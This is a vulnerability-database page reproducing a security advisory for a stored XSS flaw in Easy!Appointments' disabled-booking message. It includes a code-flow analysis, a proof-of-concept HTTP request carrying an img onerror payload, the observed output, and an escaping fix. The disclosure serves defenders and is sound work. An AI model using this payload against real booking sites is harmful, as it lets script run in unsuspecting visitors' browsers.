GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-996F-334J-67G7

Vulnerability from github – Published: 2026-07-29 16:30 – Updated: 2026-07-29 16:30
VLAI
Summary
Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS
Details

Summary

Easy!Appointments allows administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the disable_booking_message setting via a rich-text editor and later passed directly to the public booking_message view without escaping or sanitization:

<p><?= vars('message_text') ?></p>

An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.


Root Cause — Step by Step Code Flow

Step 1 — Rich text editor value stored without sanitization

The booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:

// assets/js/pages/booking_settings.js line 61-92
bookingSettings.push({
    name: 'disable_booking_message',
    value: $disableBookingMessage.trumbowyg('html'),
});

Step 2 — Settings controller saves value verbatim

The backend settings controller persists the submitted value without any HTML sanitization:

// application/controllers/Booking_settings.php line 76-104
$this->settings_model->save($setting);

Step 3 — Public booking controller forwards stored value to view

When booking is disabled, the public booking controller loads the stored message and passes it directly to the view:

// application/controllers/Booking.php line 113-132
$disable_booking_message = setting('disable_booking_message');

html_vars([
    'message_text' => $disable_booking_message,
]);

Step 4 — Public view renders value without escaping

The booking message view emits the value raw using PHP's short echo tag with no escaping:

// application/views/pages/booking_message.php line 10-12
<p><?= vars('message_text') ?></p>

No htmlspecialchars(), no sanitization, no template escaping is applied at any point in this rendering path.


Proof of Concept

Step 1 — Store malicious disabled-booking message as admin:

POST /index.php/booking_settings/save HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <admin-session-cookie>
Content-Type: application/x-www-form-urlencoded

csrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert("easyappointments xss by ashrexon")>

Response: 200 OK — settings saved successfully

Step 2 — Unauthenticated visitor opens public booking page:

GET / HTTP/1.1
Host: 127.0.0.1:18094
(no authentication)

Observed response fragment:

<p><img src=x onerror=alert("easyappointments xss by ashrexon")></p>

Observed browser behavior:

alert("easyappointments xss by ashrexon") executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.

Runtime verification result:

admin login ok
settings save ok
payload reflected on public page
PASS

Real World Impact

Easy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:

  • Execute arbitrary JavaScript in visitor browsers on the trusted booking domain
  • Phish visitor credentials or personal information during booking downtime
  • Deface the public booking page during maintenance or outage windows
  • Redirect visitors to attacker-controlled sites

Suggested Fix

Escape the message value before rendering in the view:

// application/views/pages/booking_message.php
<p><?= e(vars('message_text')) ?></p>

Alternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the disable_booking_message value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.


Reporter

Yash Shendge (ashrexon) 2026-05-25

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52838"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:30:09Z",
    "nvd_published_at": "2026-07-14T16:17:00Z",
    "severity": "LOW"
  },
  "details": "## Summary\n \nEasy!Appointments allows administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization:\n \n```php\n\u003cp\u003e\u003c?= vars(\u0027message_text\u0027) ?\u003e\u003c/p\u003e\n```\n \nAn authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.\n \n---\n \n## Root Cause \u2014 Step by Step Code Flow\n \n### Step 1 \u2014 Rich text editor value stored without sanitization\nThe booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:\n \n```javascript\n// assets/js/pages/booking_settings.js line 61-92\nbookingSettings.push({\n    name: \u0027disable_booking_message\u0027,\n    value: $disableBookingMessage.trumbowyg(\u0027html\u0027),\n});\n```\n \n### Step 2 \u2014 Settings controller saves value verbatim\nThe backend settings controller persists the submitted value without any HTML sanitization:\n \n```php\n// application/controllers/Booking_settings.php line 76-104\n$this-\u003esettings_model-\u003esave($setting);\n```\n \n### Step 3 \u2014 Public booking controller forwards stored value to view\nWhen booking is disabled, the public booking controller loads the stored message and passes it directly to the view:\n \n```php\n// application/controllers/Booking.php line 113-132\n$disable_booking_message = setting(\u0027disable_booking_message\u0027);\n \nhtml_vars([\n    \u0027message_text\u0027 =\u003e $disable_booking_message,\n]);\n```\n \n### Step 4 \u2014 Public view renders value without escaping\nThe booking message view emits the value raw using PHP\u0027s short echo tag with no escaping:\n \n```php\n// application/views/pages/booking_message.php line 10-12\n\u003cp\u003e\u003c?= vars(\u0027message_text\u0027) ?\u003e\u003c/p\u003e\n```\n \nNo `htmlspecialchars()`, no sanitization, no template escaping is applied at any point in this rendering path.\n \n---\n \n## Proof of Concept\n \n**Step 1 \u2014 Store malicious disabled-booking message as admin:**\n \n```http\nPOST /index.php/booking_settings/save HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cadmin-session-cookie\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026booking_settings[0][name]=disable_booking\u0026booking_settings[0][value]=1\u0026booking_settings[1][name]=disable_booking_message\u0026booking_settings[1][value]=\u003cimg src=x onerror=alert(\"easyappointments xss by ashrexon\")\u003e\n```\n \nResponse: `200 OK` \u2014 settings saved successfully\n \n**Step 2 \u2014 Unauthenticated visitor opens public booking page:**\n \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:18094\n(no authentication)\n```\n \n**Observed response fragment:**\n```html\n\u003cp\u003e\u003cimg src=x onerror=alert(\"easyappointments xss by ashrexon\")\u003e\u003c/p\u003e\n```\n \n**Observed browser behavior:**\n \n`alert(\"easyappointments xss by ashrexon\")` executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.\n \n**Runtime verification result:**\n```\nadmin login ok\nsettings save ok\npayload reflected on public page\nPASS\n```\n \n---\n \n## Real World Impact\n \nEasy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message \u2014 a customer-facing feature intended for maintenance or holiday notices \u2014 to plant JavaScript that executes in every visitor\u0027s browser when the booking page is disabled. This can be used to:\n \n- Execute arbitrary JavaScript in visitor browsers on the trusted booking domain\n- Phish visitor credentials or personal information during booking downtime\n- Deface the public booking page during maintenance or outage windows\n- Redirect visitors to attacker-controlled sites\n---\n \n## Suggested Fix\n \nEscape the message value before rendering in the view:\n \n```php\n// application/views/pages/booking_message.php\n\u003cp\u003e\u003c?= e(vars(\u0027message_text\u0027)) ?\u003e\u003c/p\u003e\n```\n \nAlternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the `disable_booking_message` value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25",
  "id": "GHSA-996f-334j-67g7",
  "modified": "2026-07-29T16:30:09Z",
  "published": "2026-07-29T16:30:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-996f-334j-67g7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52838"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/629a0415f54f75556c17f4f5d9c77fda1fdbdeae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Easy!Appointments disable_booking_message rendered as raw HTML on public booking page \u2014 Stored XSS"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…